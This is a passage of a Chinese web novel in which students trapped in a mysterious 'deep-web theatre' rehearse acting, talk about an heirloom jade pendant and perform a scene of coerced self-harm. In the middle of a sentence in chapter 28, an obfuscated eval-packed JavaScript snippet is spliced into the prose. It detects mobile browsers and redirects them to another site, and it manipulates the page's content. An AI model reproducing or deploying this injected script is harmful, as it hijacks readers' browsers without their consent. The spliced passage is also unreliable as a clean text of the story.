郑悦安神色震动一下,她默然注视那硬壳厚本片刻,随后,在她的女儿身边跪坐下来。她接过洛珠手里的相册,慢慢翻开一页,说:“这个是……你外婆留下来的。” “外婆?”洛珠有点意外。但在看到旧相片里头那个小姑娘的脸,她又觉得理解了。那张脸庞的轮廓尚且稚嫩,但和她妈妈现在的模样也已经十分相像。 她没有对外婆的印象。在她母亲十几岁的时候,她的外公外婆就因为意外去世了,她妈妈是在她舅姥爷舅奶奶家长大成人的。 在去世之前,外公外婆似乎也很少回家。他们忙于工作,对她的妈妈疏于照顾,所以,对她妈妈来说,舅姥爷舅奶奶有时更像父母。 但这不是说她的妈妈不爱她的外公外婆。洛珠侧过头,看她的妈妈一张一张相片用手指描过去,神色怀念,带着几分逝去的悲伤。 她记得外公外婆好像是做很厉害的研究的,和计算机还有医药什么的有些关系,这也许能说明,为什么她的妈妈选择了做生物工程师。 洛珠想活跃一下气氛,她指着其中一张相片说:“妈妈,那个时候你就已经好漂亮了哦。” “就你嘴甜。”郑悦安果然神色柔软下来,她笑着点了下洛珠额头。洛珠捂着被点的地方,“哎呀”一声。 “这么久的东西也被你找出来了。”郑悦安像是在回忆什么,但最终她也只是摇摇头,把相册珍重地放回去。洛珠看着那个相册,心想下次再找个机会和妈妈聊聊他们吧。 “说到你外公外婆,我都差点忘了。”郑悦安说着,从脖颈上取下什么。洛珠睁大了眼睛去瞧,她妈妈将一条项链放在她掌心里。 她说:“这是你外公外婆给我的。说能保我平安。” 不过,这没能保到他们平安。她一边说着,一边将项链拿起,亲手为她戴上。“我戴了它这么多年,倒确实也没遇上大灾大难。现在,你也考上大学,进到你理想的专业了,是个大人了。这条项链,就给你戴着吧。” 洛珠打开手环的相机,调成镜子模式。模拟出镜面效果的光屏里,一枚小小的碧玉平安扣正落在她锁骨前。 ***** “你是怎么做到,能演戏演得这么好的呢?” 一时之间,舒觉摸不准她究竟什么意思。但再装糊涂就显得有点心虚了,她说:“你是说演那些连续剧的时候吗?” “对啊对啊。”洛珠不住点头,“我怎么都没办法代入到角色里,只是干巴巴地念台词和做动作,一直这样也不行吧……点数拿得少先不提,要是拖了其他人后腿可怎么办?” 她看上去是真心实意为了这件事在忧虑。舒觉有点难以置信:居然真的有人会在这么离谱的封闭剧场里认真考虑演戏的事? 但对方问都问了,她也必须回答:“我也没什么技巧,硬要说的话,演戏的时候不是会给我们台词、动作提示和大致背景嘛。” 洛珠嗯嗯两声。舒觉接着说:“我的做法一般都是根据台词和背景推测这个角色是什么性格,然后选一种可能的方向去尽量表演,或者说直白点就是:这个角色可能是什么样的人?我认为这样的人可能是怎么说话、做动作的?” “总之,就是大胆猜测,演就完事了。”她总结。 洛珠简直像好好上课的优等生,都要做笔记了,“那、那如果碰到上次那样……” 舒觉知道她指的是剧本要求她捅曲语冰一刀的剧情。她好心接上她不安的沉默:“那种演绎要求就没办法了。即使心里知道不是真的,但还是会有所顾虑。毕竟,那可不是道具刀。” “碰上这种情况,就只能硬着头皮做了。没办法也硬得想办法演掉,剧本明确标注要求做的动作一定要做完,不要让他们有惩罚你的机会。不管是那个身体部分机能被剥夺,对之后的演绎都会产生很大影响。” 几乎是带着点过来人的口吻,舒觉告诫她:“你一定要记得,这些都不是真的。上次你也看到了,你实打实捅了他一刀,回来那家伙一点事没有,剧团不会破坏这些基础规则,我们的安全不会有问题,所以,放心大胆去演。这些全都是假的。” 这只是像一场噩梦而已。但是没关系,梦会醒,他们也一定能出得去。 洛珠频频点头,神情安定不少。舒觉想想,又安慰她:“况且,苏彦不是为我们加了一条新规则么?事前能和其他演员对应剧本商量一下,后面打配合会更好演的,你也不用那么担心。” “那也是。”洛珠喃喃道。她低头思考了一会儿,继而对舒觉笑了笑,“谢谢你。” “嗯。”舒觉不大把这当回事。一般她不承担这种心理辅导的角色,但偶尔做一下也不算困难。实际上,洛珠天然有一种让人想保护和宠爱的气质,她有时候也稍微无法抵抗。 反正,洛珠说话语速也不算快,即使不借助语音文字转录器,她读唇语也能完全跟上和对方的谈话,不必担心会暴露她双耳无法听见的事实。 乔木几乎不会以“对话”的方式和她聊天;为了照顾她的情况,他直接发文字讯息的情况居多。而曲语冰则是像完全忘记了这回事,和别人怎么讲话和她就怎么讲。舒觉也一时难以下定论,她更感谢哪种对待方式。 “对了,那对双胞胎不是戏剧社的么?曲语冰有找他们学怎么提升演技,你可以去问问他们愿不愿意再收一个徒弟。”舒觉想起这茬,提醒她。 她当然清楚曲语冰不是真心去学演戏的。他肯定是怀疑那对双胞胎——但是,哪一个?还有,为什么? 她的确觉得双胞胎一同被卷入这个剧场是有点奇怪,但再怎么说,这也只是两个人都太倒霉的缘故吧。她在搜查剧场曾经流出的演绎录像时,也有见到过血亲相残的戏码——是指演员彼此就是兄弟姐妹的情况。 毕竟血脉的力量是如此强大。看到那相似的脸,舒觉就能意识到那些已经退场的演员之间的亲厚关系。 “喔,怪不得有时候会看到他们在一块。谢谢你告诉我,我明天去问问看 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她对他们的实力有信心,别人敢找上他们,那大概会是别人有危险。即使很多年他们无法聚在一起、也不需要再从事危险的“工作”,但那些技能、那些经验都已化作本能,有些东西或许荒废,但只待时机合适,便会再度显现。 “你一直戴着这个项链吗?”不欲话题再围绕着剧场内部打转,舒觉伸手指指洛珠胸前。 她的睡裙是吊带款式,锁骨上,一枚平安扣碧莹莹润泽着。洛珠垂眼一瞧,回她:“嗯,这是我妈妈给我的。” “据说是从我外婆那里传下来的呢。说能保我平安。”她带着点快乐微笑起来,抬手轻轻摩挲那枚玉扣。 看来迷信还是不可取啊。这不也没能保到她平安么。舒觉略显冷漠地这么想。 “你睡觉也戴着颈环吗?这样会不会不舒服……”转过神来,洛珠好奇的视线停留在她脖颈上,她微微倾身,像要触摸她。 她不由得感到毛骨悚然。不着痕迹地向后退了些,舒觉撒谎道:“我睡觉前会把它取下来的。” 洛珠接受了这个说法。“感觉戴这个好酷啊。不过感觉一直戴着会有点窒息,我又有项链,就没尝试过。” 今天舒觉戴的是皮质choker,米色一条环在项上,和肤色融洽地合在一起。她打了个哈哈糊弄过去,又和洛珠聊了点不着边际的,便礼貌送客了。 直到把门关上,舒觉才放下心来。经历这么一场谈话,她也没心思继续查监控了。 她把灯一关,整间卧室陷入黑暗,女孩在床上蜷缩成一团,闭眼睡去。她习惯团成一团睡觉。 曾经她连黑暗都不敢面对。但为了在这局演绎里走到最后,她必须克服她曾惧怕的东西。 但这谈何容易。世界本已陷入寂静,在万籁俱静中她连自己的心跳都无法听见,却还要蒙上自己的眼睛,装作即使无光无音她也不会畏惧。 她强迫自己一次次进入完全黑暗的情景,以暴露疗法强行“疗愈”自己的“病症”。因为她绝不能输。因为她必须—— 她必须做“某件事”。即使她不知道那是什么。她唯一清楚的,是只有回到这个该死的剧场里头,她才能弄明白她无法在外面正常生活的原因是什么。 如果找到她心中疑问的答案,是撕碎这个剧场后才能得到的奖励—— 那么,她将成为风暴,将一切摧毁殆尽。 这可不是一场游戏。这幕后凶手会输给他们,正是因为这不是一场游戏。 27. 第 27 章 总算把最后一点作业搞完,洛珠长长出了口气,一点投影键盘,光屏熄灭,键盘消失。 她舍友在门口叫她:“珠珠,你要不要和我们去吃烧烤?” 洛珠思考了一下,便回道:“算啦,最近有点吃不下油的。” 她舍友表示理解,随后门咔嗒一声,关上了。洛珠阖眼休息了会儿,又耐不住无聊,还是打开手环刷起APP来。 花里胡哨的资讯从她面前流过,她淌入信息的海洋。洛珠一边小小声地哼歌,一边从校园集市退出来,最后看的帖子是“求助万能网友!这个红发姐姐是谁!” 洛珠也不认识那人,爱莫能助了。她随意刷着其他社交APP的帖子,一个标题跳入她的视线: “如果有一个可以实现任意心愿的机会,只需要你踏上舞台,纵情演绎,你会抓住它吗?” 这什么,营销号吗?洛珠有点好奇地点进去,面前光屏忽然一闪,变成了正在加载中的页面。 他们校园网不差呀,不可能加载这么一个非视频的帖子还卡。正当她疑惑,那帖子加载出来了,她飞速浏览下文字,无非是用夸张的语气诱惑人加入这个什么,“深网剧场”,只要演戏就可以实现任何愿望云云。 这一看就是骗人的吧。怎么可能这么轻松就得到所有东西。洛珠一点开评论区,果不其然,不是不相信,就是嘲笑贴主异想天开,还有劝贴主回去好好学学营销号文章怎么写的,基本没什么人赞同。 只是,其中有一条评论写道:“这件事是真的。请大家千万不要相信它。” 那个账号名字叫“米薇”。 这是什么意思?又说它是真的,又要人们不要相信?洛珠没明白,她正要退出这篇帖子,后台同时弹出一条消息提示。有人给她发了私信。 洛珠吓了一跳。她不经常分享自己的生活,这个号的帖子几近于无,几个粉丝都是自己现实里的朋友。因此,她从来没碰上忽然有陌生人来私信自己。 她点开红点,只见那个初始头像的账号发了一句话:“你对深网剧场有兴趣吗?” 不是那个矛盾评论的账号。洛珠越发觉得诡异,她不敢回复,也没拉黑对方,就要急急忙忙下线。 没受到回复,那个账号却锲而不舍追击:“你有什么想要实现的愿望?” “如果有的话,你可以告诉我。我会为你实现你的愿望。” 这太诡异了。洛珠毛骨悚然,简直要后悔刚刚没去和舍友吃烧烤。她急急忙忙下了线,甚至把这个软件都整个删掉了。 虽说此事像电子程序发疯了似的,但这只是她大学生活中的一个小小插曲,在繁忙的学业、社团和课外活动中,洛珠很快就将它抛之脑后。那个APP也因为各种原因下回来了。 只不过,待她再登上自己那个账号时,那段短短的消息记录消失了。她不记得对方的ID,想去搜索也无从找起。更何况,她也不想再和这事搅合上关系。 那个自称要实现她愿望的存在,悄无声息消失在数据的海洋。 ***** 依照舒觉的建议,洛珠第二天去敲了双胞胎的9号房门,得到许可后进去。 两人间确实和他们的单人间有点不同,至少空间上肯定是宽敞了很多,原本的单人床变成了一张上下架子床,姐姐在上头,弟弟睡下方。此时双胞胎正坐在地面毛毯上,邹摇光看到是她,语气并无敌对:“你找我们,有什么事吗?” 洛珠叙述了自己的目的。听完后,邹玉衡说:“的确有这么回事——话说,我们昨天才练了一次呢。” 他整个人陷在豆袋沙发里,失去官能的那条腿和正常的腿一般搁在毛毯上,被长裤遮盖着,看不出异样。洛珠尽量按捺住自己不去看,问:“你们是在哪里练习呀?” “商店街那边有一家舞蹈训练室,那里的老板很好心,愿意免费让我们在那里练上两三个小时,只要提前和他说就好。”邹摇光像是想到什么,皱皱鼻翼,“他还鼓励我们演戏加油。” “诶?……他是我们演绎剧目的观众吗?”洛珠不由吃了一惊。她来到这里后光顾着适应规则和忙着演戏了,压根没想到,他们演出来的东西还真有人看。 不过这也是理所当然的。有人登上舞台进行演绎,自然有人作为观众在台下欣赏。洛珠想到这里,就听到邹玉衡回答她:“是啊。商店街那边的老板和服务员——如果有服务员的话——大概都是我们的观众。” 居然真的有人在看。洛珠不由觉得尴尬万分:她自己也清楚自己演得多糟糕,这么个玩意儿还要被别人看到(指不定还要被指点评价),她就只想钻进地里当颗不会发芽的种子再也不出来。 “我们的点数也依据那些观众的反馈和打分来给的。”邹玉衡说,对她眨眨眼,“所以,多去商店街走走和店家们打好关系说不定有用,我是这么想的。” 原来点数给予是这样的机制。洛珠看不到别人拿到多少点数,也无从和自己得到的作比较,但她猜自己的点数肯定比别人低,毕竟她演得不好。 不过,点数每次都是马上到账,难道他们每次演绎,那些观众都会立刻即时收看吗?就像看直播那样? “你问这个,也就是说,你也想加入我们的练习对吗?”邹摇光问她。她用小刀削着一个梨,时长时短的梨皮屡屡断落,进到自动清洁车的垃圾框里,双胞胎谁也不把这略显笨拙的刀工当问题。 洛珠点点头。“我希望你们可以教教我,到底要怎么样才能演好戏。” “教你倒谈不上。我们也只是一般水平,最多教你怎么更声情并茂地讲台词什么的。”邹摇光开始切梨,“还是以大家一起练习为主。” 看着雪亮的刀子在梨肉里进进出出,洛珠不自觉移开了目光。邹玉衡开口,把她的注意力吸引过去,“你也不用这么拘谨哦。大家都是室友,你有困难的话,我们一定会帮你的。” 他微微笑起来,看上去和那天单膝下跪安慰她的模样十分相像。洛珠记起来,道谢的话语脱口而出:“那么久都没来谢谢你那天安慰我,对不起。” “道谢就够了,道歉是怎么回事啊。”他的笑容更舒展柔和,洛珠有点不好意思地垂下头,邹摇光恍若未觉,将梨块分进两个碟里,“来,吃梨吃梨。” 洛珠立时婉拒道:“啊、不,我不用……”邹摇光把碟子往她面前一推,命令道:“吃。” 洛珠乖乖吃起来。邹摇光边吃边说:“你有兴趣的话,我们可以明天来练一次,前提是没被演绎突然拉走。地址是这个。” 她打开手环,把位置共享给她。洛珠做好标记,第三次由衷地道谢:“真的很感谢你们。” “没事。”邹摇光摆摆手,“你又不是坏人。好人之间就该互相帮助嘛。” 忽然被发好人卡的洛珠:那还挺……挺不错? 接下来,三个人一起享受了一段愉快静谧的吃梨时光。直到走出9号门,洛珠才意识到一个问题: 如果她是好人,那么谁是坏人呢? 午后,洛珠待在自己房间里,她刚演完和曲语冰搭档的《堕天》,因此无需外出找线索,可以休息。幸亏这部剧后期再没有难以演绎的情节,她只需要表演一个杀了人后浑浑噩噩过活的女高中生。台词也不多,很容易就能被判定演绎完成。 正在听音乐放松,她的手环弹出一个提醒:【剧目:岛已开演。演员:曲语冰、邹摇光、邹玉衡】。 她正要划掉这条提醒,忽而想起:明天不就要和这三位一起练习演戏了么?不如现在来观摩观摩她的“老师们”好了! 抱着学习的态度,洛珠点开了播放界面。 ***** 【剧目:岛】 【演员甲:曲语冰】 【演员:邹摇光、邹玉衡】 双胞胎身着军服,脚步一深一浅在浅滩上移动着。 邹玉衡显然还未适应腿上的辅助支架,他有些跛脚,邹摇光放心不下他,但碍于剧情不好明着搀扶,只得紧紧跟在他身边。两个人相依相靠,向这座岛的内部走去。 “一个人都没见到。果然,这座岛上的居民全变成魔师的傀儡了。”邹摇光念着台词,那份忧心忡忡不像演的,但至于原因为何,就不清楚了。 邹玉衡接口:“姐你忘了?我们的任务不就是干掉魔师。” “我知道。”邹摇光右手握在腰间刀柄,时刻不离。她警惕地眺望四周,“但我没想到会这样安静。” 邹玉衡哼了一声。片刻,他不怀好意地开 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邹玉衡下意识跟着她踉跄几步。然而他的腿无法支撑快速行进,只得跌跌撞撞被邹摇光拉着,向另一个方向奔去。 罕见地,他露出扭曲的神情。邹玉衡一把拔出腰间银铳,瞄准为首的傀儡,砰! 砰!砰!砰!砰! 接连不断的枪声打在傀儡身上,皮开肉绽,里头全是腐烂的蛆虫。那个魔师用人类的尸体做傀儡。 邹玉衡下意识喊:“姐,别往后看!” 他怕恶心到他的胞姐。 邹摇光带着他往前跑多几步,遂而,站定,转身,她抽出炸弹引信,手臂用力一挥! 比先前更剧烈的爆炸声响彻四野。丧尸傀儡群消灭大半,余下的也不敢上前。邹摇光无视弟弟崇拜的眼神,转头离开,“走吧。找罪魁祸首要紧。” 邹玉衡紧跟上去。片刻后,他说:“姐,你有没觉得,有几个丧尸长得有点面熟?” “不可能吧,我们没来过这里。不是说这座岛的岛民都不离开这里吗?” 邹玉衡沉思数秒,随后说:“嗯——也许是我看错了。” 姐弟俩继续他们的路途,两道相似的脚印向岛屿深处漫去。 另一头,在深深的深处,一方幽暗斗室里,亮起了一星烛火。 那点摇曳的火焰移动着,点亮了四周的古灯,屋内渐次明亮起来,显出其中景色。 不同大小、不同样貌的人偶挤满了这里。玻璃中、壁橱里、尘埃间……有些人偶甚至有真人大小,一眼望去,与活人无异。它们摆出各种姿势,整间屋子仿佛一个人生大舞台,不同年龄、不同身份的人偶在其中演绎自己的生活。 尽管四周的灯盏如此明亮,却不知为何,在那星烛火下均黯然失色。随着那丝烛火游走,人偶们的面容被逐一点亮,就像有活生生的灵魂重新被注入其中,眼波便能流转,双唇便能开合。 而在烛火之下,是苍白的手指。持烛人将手高举,那点火光便也映照出他的面容。 曲语冰站在满室人偶中央。他穿着古旧长袍,眼神时而迷幻,时而清醒,有如间断沉浸在一个不知醉的狂梦。 他轻声呢喃:“终于,来了吗。” “大家一起来吧。好好……招待他们。” “久归的游子,当然值得上最盛大的欢迎。不是吗?” “即使,他们就是……” 他低低笑起来。幽微的轻音逐渐攀升、膨胀,直到狂乱的咆哮充斥整个房间,如同要将整座岛都晃动。 他的双目直视紧闭的门扉,穿透,飞射,一直连到那打破岛屿宁静的人身上。 ***** 洛珠愣愣地看着光幕。直到幕布落下,丝绒轻语:演员已散场,请等待下次幕布再揭开。 她才反应过来,自己已经将整场演绎看完了。 这就是有练习过的技巧吗?尤其是曲语冰,她和他也是对过戏的,之前他绝没有这样细微入骨的演技。那对双胞胎居然有这么厉害。 她更加期待起明天的练习。洛珠握紧拳头,发誓一定要好好向他们学习,在剧目中做得更好。 她不想再拖别人后腿了。 28. 第 28 章 果然和J说得一样:这么大的项目,不可能没有任何金钱和人力支撑就能做得起来。 之前的F也是。已经过去了,她其实也没造成很大危害……我不想再指责她。不过,她是被安排进来的、要在我们中间离间搞破坏的人,这个否认不了。 现在想,F应该就是那些给了剧场支援的“投资方”塞进来的人。我就说为什么还有几个人不由得我决定,看上去也不由他决定,原来是给投资方留名额了。 哇,果然到哪里都逃不开钱的力量吗。 这些“投资方”的资料不知道能在哪里找到。他会也放在图书馆吗?下次去找找看吧。 反正,我现在最不缺的,就是空闲的时间。 不知道他们几个在外面怎么样了。说到这个,我有点担心。那些“投资方”什么的,不会盯上他们这些成功出去的人吧…… ——天啊,我之前都没想过这一层!要是选择送他们出去反而是害了他们怎么办! 不行,我得去和他问清楚。 要是他们中的任何一个人受到伤害,这个赌约我就不履行了。 对,就用这个来威胁他。 不知道为什么,我是觉得这个赌挺无力的,因为即使输了他也不损失什么……但他很重视这个,那我就得利用起来。是因为遵守契约的精神?他有这种抽象的东西吗? 先这样。我得去找他说一下。 ***** 次日下午,洛珠正在门口系鞋带,曲语冰走过来,靠在门框上看她。“你也要参加那个练习吗?” “嗯。”洛珠用力系紧那个蝴蝶结,“他们会不会、嗯,很严格?” 曲语冰视线散漫地移开,“嗯……怎么说呢……” 他说话非得隔好几个大间隔似的,弄得洛珠紧张起来,“怎、怎么了?” “啊,没什么。”曲语冰对她笑笑,“没关系,我相信他们会对你手下留情的。” 手下留情?怎么听起来就很严厉的样子。洛珠不由忐忑起来,曲语冰瞧她僵硬的表情,语气悠闲:“别担心。他们人挺不错的。” 既然顺路,两人便同行。洛珠对他道谢:“上次你在演绎里帮了我,真的非常感谢。” “还有……你之后安慰我的事。”她补充。洛珠真诚地、毫不闪避地看他眼睛,曲语冰愣了下,含笑说:“不客气。” “不过,我是没想到你会这么郑重地道谢啦。”他说,不过看上去也没有不好意思的样子。 洛珠有点疑惑,“可是,受了别人帮助,就要道谢不是吗……?” 曲语冰没肯定,也没否定她。她的疑问只是落在夏日微燥的风里。为了填补这片空白的沉默,洛珠鼓足勇气,说:“下、下次如果你演绎的时候有麻烦,我会帮你的!” 说完她才觉得自己可笑。她才刚刚看过曲语冰的演技,那是她现在难以赶上的,说是要帮助,更像空话。 曲语冰倒没嘲笑她——他的确不是这样的性格——相反,他曲起手指,抵住唇下,认真地思考起来。片刻后,他说:“那,我们就做个约定吧?” 洛珠困惑地歪了下头。曲语冰笑道:“你不是说要帮助我吗?那就这样——” “等到下次我们演绎的时候,如果是你被选中了,要伤害我,不要犹豫。”他说,“让我们俩都不受到惩罚,这样就算你帮我啦。” 他是在指之前的那幕戏。洛珠条件反射道歉:“对不起,那个时候刺伤了你——” “不用,我不是说了,我没事嘛。”曲语冰依旧淡淡地笑着,洛珠不由自主看向他曾被刀子深深插入的腹部,现在,那里的衣服完好无损,其下皮肉亦然。 “好吧,再加一条。”曲语冰说,“也不要有负罪感。那不是你的罪,你不用负担它。” “就这样。可以吗?”他停下脚步,问她。 洛珠点头。这甚至不该成为一个约定。这是她,也是他们所有人都必须做到的。否则,没人能从这个诡异的剧场里活着走出去。 她看到曲语冰向她伸出右手小拇指。洛珠愣了一下,曲语冰说:“拉钩吧?” 这有些孩子气的举动让洛珠心一软,也有点意外,曲语冰还有这样的一面。她说:“好呀。” 拉钩,起誓。两人继续前往练习室的路程,随意聊些外面大学里的事。洛珠发现曲语冰很多校内的新闻都毫无听闻,忍不住感叹:“法律系真是辛苦呢。” “也还好吧。”曲语冰说,“背背记记,考试就好了。” 为什么听起来有种优等生的云淡风轻感,好气哦。洛珠成绩不差,但那得她相当努力才能保持,毕竟在航空航天里什么天才都有,她只是普通人,必须拼尽全力才能超过他们。 不知道其他人的成绩怎么样。她有些不礼貌地猜测:乔木看着就像成绩不错的,她之前听到他和苏彦在聊保研;苏彦说过自己拿了好几次奖学金;舒觉一看就是很聪明的女孩子,洛珠相信她成绩肯定很优秀;祝时明也感觉成绩不错,不一定排在最前面几个,但应该不差。 曲语冰呢?洛珠慢慢回忆,他似乎没怎么说过自己在大学里的事。高中的事倒是有分享几次。他也没有提到过自己的家庭,只说过自己是独生子。 这么一想,他还挺神秘主义的。舒觉给人的感觉也和他有点类似。可是,她会觉得舒觉给了她一种安全感,就像你知道想这个人倾诉不会有问题,她不会评判你,也不会说出去。 曲语冰则不痛。比起他的名字,他更像一片云。一片不知道什么时候就会飘走,甚至消散的云。 直到曲语冰出声提醒她,洛珠才意识到他们到了。两人一路走上三楼,打开那间舞蹈室的门。 双胞胎正在里面等待。柔和的灯光下,两张脸同时望过来,洛珠一时恍惚,竟觉得他们就是同一个人的不同分身。 不过一开口就完全不像了。“你们怎么这么慢啊。我们都在这儿等了半小时了。” 邹摇光不高兴地撇着嘴,下一刻,她凌厉的视线打到曲语冰身上,“曲语冰!是不是你带着人家乱逛来乱逛去了?” “冤枉啊,教导主任。”曲语冰配合地举起双手,“我什么也没对这位同学干呐。” “嗯,还可以。不过语气可以更惊慌失措一些,让人觉得你在说谎。”邹玉衡评价道。 曲语冰装作抱怨:“为什么我不能是理直气壮?” 两个人都没理他。邹摇光转向洛珠,平静说:“欢迎你加入我们。” “现在,让我们开始吧。”邹玉衡接上她的话。 ***** ……她还以为会是地狱魔鬼式训练,没想到还挺友善的。 洛珠念完一段长台词,邹玉衡坐在她对面一把椅子上,点点头,“还不错。在正式演绎里,遇上这样的长台词一般会有一定的反应时间,你可以利用这段时间来考虑怎么表演它。” 洛珠点点头。他们在研读一部国外古典神话改变的剧本,剧中的女主角是为名声遍布七国上下的美人,这部剧里的男男女女都在为了争夺她的一点关注互相竞争。她刚刚念的就是女主角侮辱一位追求者的台词。 放在平时,这样精巧而辛辣的讽刺她根本想不出来,想得出来也不可能说得出口,但方才在邹玉衡的引导下,她成功将它念了出来,也不是单纯的捧读。 进步微小,但她已经很高兴了。现在知道了会有观众,看到她在舞台里结结巴巴地念台词,洛珠自己也觉得羞耻。 现在是训练台词,接下来会进阶到表情管理和动作实践上。洛珠偷偷瞄了一眼曲语冰那边,没看清他做了什么表情,只听到邹摇光大声叫道:“不对!你这是生气吗?僵尸都比你生动点!眼神再凶点!对,像要揍别人一样!” ……那边看起来热火朝天啊。洛珠赶紧收心,打算继续下一段台词。 今天他们两个做学生,双胞胎刚好可以一对一,邹摇光表示想好好“锤炼”曲语冰一番,于是她就交给了邹玉衡带。现下看来,姐弟俩的教学方式完全不同:姐姐雷厉风行、说一不二;弟弟温吞平稳,循循教导。 这两种方式并没有高下之分,只是风格不同。洛珠正要请教下一段台词怎么念比较好,冷不丁听到邹玉衡说:“洛珠姐姐是为什么进来了这里呢?” 听到这个问题,洛珠有些讶异。她几乎是不假思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16590253|183890||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索地说:“没有为什么啊,只是一觉醒来忽然就到这里来了。” “其他人也是这样吗?” 洛珠一时没明白他在问什么。邹玉衡慢慢说:“其他人也都只是莫名其妙被抓进来演戏的吗?” “嗯?应该是吧?第一天大家聚在客厅里,好像都是这么说的。”洛珠努力回忆,但那个时候的记忆已经模糊,毕竟不是近两天的事情。 “是吗。”邹玉衡垂下眼睛,他没有再说什么。 “我到现在都没弄清楚,这个剧场到底是怎么回事。”她小小叹了声气,难掩忧愁。尽管她在舒觉他们那个小团体里也帮忙搜集线索,但目前为止,他们并没有找到什么有用的东西,甚至要往哪一个方向搜都不确定,只是大家一起尽可能地多尝试。 这样下去,他们真的能顺利出去吗?洛珠不禁有些悲观。 “没事的。”邹玉衡望着她,神色平和,但洛珠从中看出些鼓励的意味,“你一定可以回到你的生活里。” 他语气确凿,不像随口的安慰,反而像必定的宣判。洛珠用力点了下头,“谢谢你。我也要更努力才行。” “那么,我们继续吧。”邹玉衡拿着一只光点笔,在一行台词下划线,“读给我听听。” 洛珠仔细揣摩那段话,十秒后,她念诵出。 限时也是必要的。正式演绎的时候不会留给他们那么多时间。在这里,双胞胎的一切演戏教导都是根据深网剧场里演绎的特殊性为基础,重新调整过的。这也是洛珠觉得他们很厉害的一点。 现在初高中的戏剧社就能培养出这么厉害的人了,她以前小的时候没参加过,也不知道是不是新时代新水准。 不过,也可能是姐弟俩特别有天赋。洛珠少数几次看他们演的剧目,都能感觉到他们演技斐然。 他们又这样排练了一会儿。直到邹玉衡喊了卡,他们中场休息,一同坐下来喝水。邹玉衡硬把一瓶常温矿泉水塞进她手里,“就当师傅送徒弟一点小心意。” 洛珠推辞不过,也就接下来拧开喝了。两人坐在两把休息椅上,一时间谁也没出声。 念了太久台词,洛珠脑袋都有些缺氧,她一边汲取新鲜氧气,一边有一搭没一搭看邹摇光如何“特训”曲语冰。不得不说,他俩相处的样子看起来相当有喜剧效果,洛珠也少看到曲语冰这么乖顺的模样。 “你是一直带着这条项链吗?”邹玉衡温吞的声音传来,洛珠注意到他的视线落在自己脖颈。 “嗯。这个是我妈妈给我的。”她一面说着,一面将那枚平安扣拽出衣领,让邹玉衡看清。 他点点头,仿佛只是随口一句家常。但他凝视那枚玉扣的时间却并非只有一句话的长度,洛珠给他看得都有点不自在了。但又不好意思说什么,毕竟人家刚刚帮了她这么多。 她绞尽脑汁,想到一个解决方法。“呃,要不我把项链摘下来,你仔细看看?” 邹玉衡仿佛被这句话一鞭子惊醒,他摇摇头,“不用了。我只是觉得有点……” 洛珠没听清他后面的字。她问:“是我的项链有什么问题吗?” 她想到一个可怕的可能性。洛珠急忙将玉扣几度翻面查看,寻找其中伤痕。 幸好,什么也没有。邹玉衡的声音也落下:“没有,没有。我只是觉得,这条项链很衬你。” 呜哇,小小年纪,就会甜言蜜语了吗。洛珠不好意思地笑笑,“是、是吗。谢谢。” 邹玉衡晃晃脑袋。冷不丁,他说:“有些人会在玉制品上刻下许诺,你知道吗?” 洛珠老实摇头。他说:“他们以刻痕为誓:一道痕迹,代表一次愿望的兑现。” 他对洛珠笑笑,“说不定你的平安扣,也有人对着它许下过承诺呢。” 洛珠眨眨眼,回忆着说:“嗯……可能我妈妈在上面许愿过,保我平安?” “也是。这个样式,一边就是父母祈愿子女平安才会选的吧。”邹玉衡截断这个话题,他站起身,拍拍手,“休息可以了吗?可以的话我们就继续吧。” 洛珠依言起身。她很快将这段对话忘到脑后。正如她将那个莫名其妙的账号忘到脑后一般。 29. 第 29 章 【剧目:白日堂皇】 【演员甲:舒觉】 【演员乙:应如观】 舒觉坐在一张手术台上。她左腿抬起,与地面平行,放下;右腿抬起,与地面平行,放下……两个动作重复交替,不断循环,再无其他。 应如观尝试叫她名字:“徐青木?” 她毫无反应。女孩只是双目呆滞地盯着地板,仿佛丧失了所有感官。 应如观继续对蓝牙耳机里的人说话:“对,现在她对名字已经没有反应。……还要继续测试?” 他转头瞥了舒觉一眼。“Animus-1,停止双腿抬起重复行为。” 舒觉眨了下眼睛。骤然,她的双腿如同脱力般垂下,人仿佛断电的机械,即刻停机。应如观反馈她的行为,又得到了一个新的指示。 应如观抿紧嘴唇,他像要咽下什么话一般,一个拒绝的字就要从他唇间溢出。 然而,他听到耳机里的声音笑了。明明是合成过的电子音,不应该听得出任何情绪,但他感觉到了,那一边的人,在面带微笑地与他讲话。 那人笑道:“你是心软了吗,医生?” “因为想到了你那个死去的妹妹?” 应如观拳头无意识攥紧。他哑声说:“……不会。” “嗯,我想也是。”耳机里的声音说,“既然如此,那你应该记得,是谁帮你复仇的。” “不敢忘记。”他说。 指令下达。应如观将一根长针在酒精灯上烧红,只留钳子夹住的前端仍旧冷却。他将那根泛着美丽红色的长针递给舒觉。 舒觉没有拒绝,她捏住长针。应如观凝视着她,沉默了很久。直到那红色逐渐退却,他开口时声音毫无起伏:“Animus-1,将针刺入你左手的食指。” 毫无犹豫。毫无反抗。 舒觉眼也不眨,右手举起,就像轻飘飘挥开一只虫子那样,干净利落地将仍灼烫的长针刺入自己食指指甲。 皮肉被灼烧的焦糊味蔓延开来。她的左手四指非条件反射地弹动,像为食指哀悼,而她本人却毫无反应,就好像刚刚只是消灭了一只恼人的夏虫。 一滴,两滴。鲜血连成细线,又分流,从她的食指两边流淌而下,在洁白的手术台上绽开一点、两点。 应如观狠狠闭上眼睛。这一刻,他的神色完全不像一个强迫人伤害自己的刽子手,反倒像平常那个关心他人的年长者。 他睁开眼,那句话说出时几乎没有声音:“……我到底在做什么啊?” 然而下一刻,他想起来自己在什么样的处境里。应如观咬住牙,对耳机里的人说:“这样,可以了吧?” 得到了肯定的答复,他猛地拽下蓝牙耳机,面色晦暗。法医看向舒觉,那根长针还明晃晃地插在她的手指中,贯穿皮肉。 他深吸一口气。又一口。“Animus-1,将长针拔出。” 